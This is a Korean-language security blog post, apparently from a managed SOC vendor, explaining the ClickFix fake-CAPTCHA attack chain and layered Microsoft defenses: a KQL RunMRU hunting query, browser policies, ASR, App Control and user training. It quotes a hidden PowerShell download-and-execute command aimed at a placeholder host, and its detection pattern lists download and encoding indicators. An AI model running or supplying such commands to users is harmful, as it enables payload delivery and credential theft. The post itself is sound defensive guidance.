ClickFix. 사용자가 곧 익스플로잇일 때, 그리고 이를 멈추는 방법

ClickFix 공격 체인

ClickFix는 사용자가 자기 자신의 공격자가 되는 공격입니다. 익스플로잇도, 취약점도 없습니다. 피해자가 단 한 번의 복사·붙여넣기로 악성 코드를 직접 실행합니다.

미끼는 소셜 엔지니어링입니다. 악성 페이지의 가짜 CAPTCHA, 가짜 지원 메시지("브라우저를 업데이트해야 합니다"), 피싱 메일 또는 위조된 미팅 페이지입니다. 피해자가 페이지에 머무는 동안 JavaScript가 clipboard.writeText()로 페이로드를 클립보드에 씁니다. 그다음 페이지는 사용자에게 Win+R, Ctrl+V, Enter를 누르라고 요구합니다. 실행 대화 상자는 클립보드에 있는 것을 실행합니다.

전형적인 미끼는 다음과 같은 모습입니다.

클립보드에 넣는 명령은 다음과 같은 모습입니다.

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

두 가지 일이 동시에 벌어집니다. PowerShell이 숨겨진 창에서 시작되고(-w h), iex(irm …)가 페이로드를 내려받아 곧바로 메모리에서 실행합니다. 디스크에는 아무것도 남지 않으므로 시그니처 기반 안티바이러스는 검사할 것이 없습니다. 두 번째 단계는 대개 인포스틸러(Lumma, Vidar, RedLine, StealC)나 원격 접근 트로이 목마, 또는 랜섬웨어 로더입니다.

Microsoft Defender 텔레메트리에 나타난 같은 패턴입니다. Windows Terminal에서 시작되어 iex(irm …)를 실행하는 숨겨진 PowerShell입니다.

이것이 그토록 잘 작동하는 이유는 이렇습니다. 모든 것이 권한 상승 없이 사용자 컨텍스트에서 실행됩니다. 쿠키와 저장된 비밀번호, 세션 토큰은 표준 사용자의 손이 닿는 범위에 있습니다. 공격자는 자신이 노리고 온 것에 도달하기 위해 권한을 상승시킬 필요가 없습니다.

Microsoft Defender가 탐지하는 것

Microsoft는 지난 몇 달 동안 ClickFix 탐지에 많은 투자를 했습니다. Defender가 정상 상태이고 올바르게 구성되어 있다면 ClickFix 페이로드에 대한 네이티브 탐지를 받게 됩니다. 2025년 2분기부터 MDE는 "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog", "An active 'Pacalau' malware in a command line was prevented from executing" 같은 제목으로 행위 기반 경고를 게시합니다. 이 경고는 프로세스 체인 분석을 통해 MDE 클라우드 엔진에서 발생하며, AV 탐지와 병행해 대개 몇 초 더 이르게 나옵니다.

이를 가능하게 하는 구성은 아래 실행 강화 부분에 나옵니다.

네이티브 탐지가 한계에 부딪히는 지점

클라우드 기반 ML 시그니처는 작동하기까지 시간이 걸립니다. 저희는 PowerShell 실행과 Defender 경고 사이에 1분이 넘는 공백을 정기적으로 봅니다. 더 빠른 페이로드는 이 창을 빠져나갑니다.

게다가 공격자는 빠르게 적응합니다. powershell을 mshta http://...나 msiexec /i http://...로 바꾸면(둘 다 고전적인 LOLBin입니다) PowerShell에 특화된 탐지는 더 이상 걸리지 않습니다.

이 공백을 메우기: RunMRU 헌트

이 공백은 Custom Detections으로 메웁니다. 출발점은 사용자가 Win+R 대화 상자에 입력하는 모든 명령을 기록하는 레지스트리 키 RunMRU에 대한 KQL 쿼리입니다.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

이 쿼리는 ClickFix 명령처럼 보이는 모든 Win+R 항목을 표시합니다. PowerShell이나 mshta, curl 또는 msiexec가 -w hidden, iex, irm, DownloadString 같은 전형적인 지표나 Base64로 인코딩된 페이로드와 함께 나타나는 경우입니다. 미묘한 속임수도 잡아냅니다. 많은 가짜 CAPTCHA 미끼가 명령 앞에 붙이는 녹색 체크 표시 이모지가 그렇습니다. 공격자가 텍스트를 위장하고 단순한 문자열 필터를 우회하는 데 쓰는 키릴, 아랍, 태국 영역의 유니코드 문자도 마찬가지입니다. 이런 패턴 중 하나가 Win+R 항목에 나타난다면 지금 ClickFix 공격이 진행 중일 가능성이 매우 높습니다.

저희 CSOC 고객을 위해 저희는 이 쿼리와 그 밖의 Custom Detections을 운영하며, 새로운 공격 기법과 내장 탐지 사이의 공백을 메웁니다.

보호 레이어 1: 전달을 차단하기

이제 예방으로 넘어갑니다. ClickFix는 널리 퍼져 있고 성공률이 높으므로 단일한 보호 장치만으로는 부족합니다. 저희는 전달부터 실행까지 레이어로 나누어 작업합니다.

Network Protection은 알려진 전달 도메인과 C2 서버를 모든 브라우저에 대해 차단합니다. MDE Web Content Filtering은 "Newly registered domains", "Hacking", "Illegal Software" 같은 카테고리를 보완합니다. Network Protection은 Windows에 내장되어 있지만, 서드파티 브라우저의 경우 QUIC와 ECH를 비활성화해야 합니다. 둘 다 연결 전체를 암호화해 대상 도메인을 감추기 때문입니다. QUIC는 Chrome과 Firefox에서 엔터프라이즈 정책으로 비활성화하고(Chrome은 QuicAllowed = Disabled, Firefox는 network.http.http3.enable = false), ECH를 위해서는 Chrome에서 EncryptedClientHelloEnabled = Disabled를 설정합니다.

Edge에서는 SmartScreen을 활성화합니다. 서드파티 브라우저에서는 각 브라우저에 내장된 Safe Browsing을 켭니다. 이는 Network Protection과 같은 것은 아니지만, 악성 페이지를 걸러 내는 데 도움이 됩니다. 메일 벡터의 경우 Safe Links와 Safe Attachments가 사용자가 상호작용하기 전에 링크와 첨부 파일을 검사합니다.

문제는 이렇습니다. 이 모든 것은 알려진 인프라에 대해서만 작동합니다. 최근의 ClickFix 캠페인은 너무 늦게 식별되고 차단되는 갓 등록된 인프라를 통해 이루어지며, 때로는 공격자가 침해한 정상적인 페이지를 통해 이루어집니다. 그러니 미끼가 전달된 뒤에 무엇이 보호해 주는지 살펴봅시다.

보호 레이어 2: 속임수를 차단하기

몇 가지 Edge 기능은 사용자가 악성 페이지에 머무는 동안 장벽을 높여 줍니다. 브라우저 확장 프로그램을 통제하면 사용자가 ClickFix 오버레이를 주입하거나 직접 클립보드를 조작하는 악성 또는 침해된 확장 프로그램을 설치하지 못하게 됩니다. Edge Enhanced Security Mode는 알려지지 않았거나 드물게 방문되는 페이지에 더 엄격한 보호 조치(JIT 비활성화, Control Flow Guard, 하드웨어 기반 스택 보호)를 적용해 익스플로잇 기반 브라우저 장악을 크게 어렵게 만듭니다. Typo Protection은 타이포스쿼팅 도메인(micros0ft.com, paypa1.com)에 대해 경고하고, 위조된 브랜드 도메인을 통한 흔한 ClickFix 전달 벡터를 차단합니다.

기술적 통제는 절반에 불과합니다. 사용자 교육은 여전히 결정적입니다. 가장 큰 몫을 떠받치는 단 하나의 규칙은 이렇습니다. 웹사이트가 무언가를 컴퓨터에 붙여넣으라고 요구한다면 그것은 공격입니다. 인식 교육에서 이를 구체적으로 다루십시오.

• 실제 미끼를 보여 주기: 가짜 "Verify you are human" 체크박스, "브라우저를 업데이트해야 합니다", "문서를 렌더링할 수 없습니다, 이 픽스를 실행하세요", 망가진 Teams 또는 Zoom 오디오 프롬프트.
• 클립보드 트릭을 시연하기: 페이지가 클립보드를 조용히 덮어쓰는 모습을 보여 주기.
• 신고를 쉽게 만들기: 빠르게, 그리고 책임을 묻지 않고.

보호 레이어 3: 동작을 차단하기

시스템을 강화할 몇 가지 방법이 있는데, 그중 어느 것도 보장은 아닙니다. 실행 대화 상자를 비활성화하는 것부터 시작하십시오. 그러면 Win+R 진입점이 제거됩니다. Microsoft의 ClickFix 가이던스는 "where it isn't necessary"라며 이를 비활성화할 것을 권장합니다. 이렇게 하면 특정한 Win+R 붙여넣기 공격은 막히지만, 탐색기 주소창이나 Windows Terminal 같은 다른 시작 경로는 남습니다.

추가로 Edge를 DefaultClipboardSetting으로 강화할 수 있으며, 이는 JavaScript가 조용히 클립보드에 쓰는 것을 막습니다.

보호 레이어 4: 실행을 차단하기

고급 기능에 앞서 기본을 정돈하십시오. ClickFix의 경우 그것은 다음을 뜻합니다.

• Local Admin Reduction: 코드 실행의 영향을 제한하기 위해 가능한 곳에서는 최종 사용자에게서 로컬 관리자 권한을 제거하기.
• Endpoint Privilege Management(EPM): 사용자를 표준 사용자로 일하게 하고, 승인된 앱만 정책 규칙을 통해 권한 상승시키기.
• UAC 강화: 보안 데스크톱 적용, 관리자와 표준 사용자에 대한 프롬프트 동작, 그리고 설치 프로그램 감지를 점검하기.
• Credential Guard: NTLM 해시와 Kerberos 티켓, 그 밖의 자격 증명 자료를 가상화 기반 보안으로 격리해, 공격자가 관리자 권한을 얻더라도 자격 증명 탈취가 어렵게 유지하기.

이 통제 수단들은 권한 상승 가능성을 줄이고 자격 증명을 보호하며 Least Privilege를 강제합니다. 다만 한계가 있습니다. 이들은 침해 이후에 벌어지는 일을 제한합니다. 표준 사용자 컨텍스트에 있는 인포스틸러가 사용자가 읽을 수 있는 쿠키와 세션 토큰, 앱 자격 증명 저장소를 읽어 내는 것을 막지는 못합니다.

그다음은 Microsoft Defender입니다. Defender AV는 두 번째 단계의 페이로드를 탐지할 수 있지만, 올바른 설정이 있어야만 그렇습니다. Cloud Protection을 켜고 보호 수준을 High 또는 High+로 설정해야 합니다. AMSI, 즉 Antimalware Scan Interface는 애플리케이션이 메모리에서 복호화되거나 역난독화된 뒤, 그러나 실행되기 전에 콘텐츠를 런타임에 Defender에 검사하도록 넘길 수 있게 해 줍니다. PowerShell은 악성 코드를 식별하기 위해 AMSI를 사용하며, AMSI에는 실시간 보호와 Behavior Monitoring이 필요합니다.

ClickFix에 대해 관련 있는 Attack Surface Reduction 규칙은 최소 다섯 가지입니다.

ASR은 먼저 감사 모드로 배포하고, 그다음 파일럿으로, 그다음 차단 모드로 진행하십시오. Tamper Protection이 마지막 선입니다. 공격자가 여러분의 탐지를 끄지 못하게 막아 줍니다.

PowerShell 자체에서는 레거시 인터프리터를 통해 위험을 줄입니다. 가능한 곳에서는 최신 버전의 로깅 및 보안 기능이 없는 Windows PowerShell 2.0과 레거시 VBScript 구성 요소를 식별해 제거하십시오. 다음 단계는 Constrained Language Mode(CLM)로, PowerShell에서 사용할 수 있는 언어 요소를 제한하고 스크립트 기반 기법을 상당수 차단합니다. CLM이 견고한 보안 가치를 갖는 것은 시스템 애플리케이션 제어 정책이 이를 강제할 때뿐입니다(App Control for Business). 환경 변수와 AppLocker를 통한 방식은 더 약하고 우회할 수 있습니다. 그리고 소프트웨어 배포 도구처럼 많은 시스템이 작동을 위해 Full Language Mode를 필요로 하기 때문에, CLM은 흔히 선별된 환경에서만 실행 가능합니다.

이로써 App Control for Business(이전의 WDAC)에 이릅니다. App Control은 어떤 실행 파일과 스크립트, 드라이버가 실행될 수 있는지에 대한 코드 무결성 정책을 강제합니다. 전략적 태도는 Default-Deny에 Microsoft가 권장하는 Block Rules, 즉 알려진 LOLBin 및 우회 차단 목록을 더하는 것입니다. App Control은 PowerShell CLM을 위한 올바른 강제 경로이기도 합니다. Script Enforcement는 MSHTA와 MSXML 스크립트 호스트를 차단하고, PowerShell을 CLM으로 밀어넣으며, 허용되지 않은 Windows Script Host 사용을 차단합니다. 몇 가지 동작상의 사실이 중요합니다.

• Windows를 신뢰하는 Base Policy는 신뢰된 LOLBin을 자동으로 차단하지 않습니다. 알려진 우회를 막으려면 Microsoft가 권장하는 Block Rules를 병합해야 합니다.
• App Control은 서명된 powershell.exe나 cmd.exe의 실행 자체를 막지 않습니다. 이들이 무엇을 할 수 있는지를 제한하며(CLM, 서명되지 않았거나 허용되지 않은 페이로드 금지), cmd.exe나 .bat, .cmd의 내용은 통제하지 않습니다. 그래서 단독으로 쓰이지 않고 ASR과 실행 강화와 함께 계층적으로 사용됩니다.
• 감사 모드는 중립적이지 않습니다. Script Enforcement는 감사 모드에서도 MSHTA와 MSXML의 실행을 차단하고 PowerShell CLM 동작을 바꿀 수 있습니다. 그래서 App Control은 감사 모드에서도 첫 배포 단계부터 파일럿이나 링으로 범위를 제한해야 하며, 결코 전체 단말에 적용해서는 안 됩니다.

App Control은 인터프리터와 LOLBin, 페이로드 실행 단계에 대해 가장 높은 확신을 주는 단일 통제 수단이며, 견고한 CLM을 강제합니다. 동시에 배포 복잡성과 롤백 위험도 가장 높습니다. 잘못 구성하면 실행이 차단되기 때문입니다. 통제된 파일럿 링을 통해 도입하십시오.

저희가 나서는 지점

ClickFix는 빠르며, Microsoft의 네이티브 탐지는 대부분을 커버하지만 전부는 아닙니다. 저희 CSOC 고객을 위해 저희는 공백이 나타나는 지점에서 커버리지를 계속 확장합니다. Windows Terminal을 통한 실행, RAT 기반 지원 사기, 그리고 침해 이후의 행위입니다. 여러분의 환경이 어디에 서 있는지 알고 싶으시다면 연락 주십시오.